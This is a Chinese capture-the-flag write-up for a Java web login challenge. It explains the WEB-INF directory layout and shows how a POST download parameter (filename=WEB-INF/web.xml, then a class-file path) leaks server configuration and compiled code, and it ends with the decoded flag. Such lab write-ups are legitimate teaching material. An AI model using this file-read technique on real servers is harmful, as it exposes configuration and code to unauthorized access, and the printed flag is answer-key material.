解题
一看是一个登录界面,尝试弱口令。密码直接爆出来了,但是FLAG不在这(这是大佬说的,我跑了半天,不知道弱密码是什么)
试了试,sql注入,半天感觉好像也不行,点一下help
看看
是很熟悉的东西,抓一个包看看。
问题是GET怎么整都不行,试了一下POST,下载了一个help.docx
文件
打开
。。。
于是我们再转变思路,因为不熟悉JAVA的开发,还是偷看了大佬的解题思路。这里我们需要利用web-inf这个目录
关于web-inf
WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问
**WEB-INF 目录的作用**
/WEB-INF/web.xml
Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/
包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,
他们不能包含在 .jar文件中(是该目录不能包含在.jar文件中)。
/WEB-INF/lib/
存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件。
/WEB-INF/src/
源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties
数据库配置文件
/WEB-INF/tags/
存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,
当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定
义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明
为:<%@ taglibprefix=\"tags\" tagdir=\"/WEB-INF /simpleTags\" % >。
/WEB-INF/jsp/
jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。
此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。
/WEB-INF/jsp2/
与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,
同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。
META-INF
相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序
、类加载器和服务
manifest.mf文件,在用jar打包时自动生成.
总的来说就是我们要访问目录需要查看WEB-INF里的web.xml文件
利用burp查询/WEB-INF/web.xml
//添加post
filename=WEB-INF/web.xml
打开下载的文件
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
查到一个可能有FLAG的地方,再用burp试试
构建payload,这里把.改成/,应该是java的路径的意思吧,我也不懂
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
解密这串base64加密的文件,就可以得到flag了
ZmxhZ3thOGNiYTc1NC0yNmI0LTQ4ZDMtOWJiYS1jOTIxYzlkODA2MDl9Cg==
最终flag为flag{a8cba754-26b4-48d3-9bba-c921c9d80609}
THE END
暂无评论内容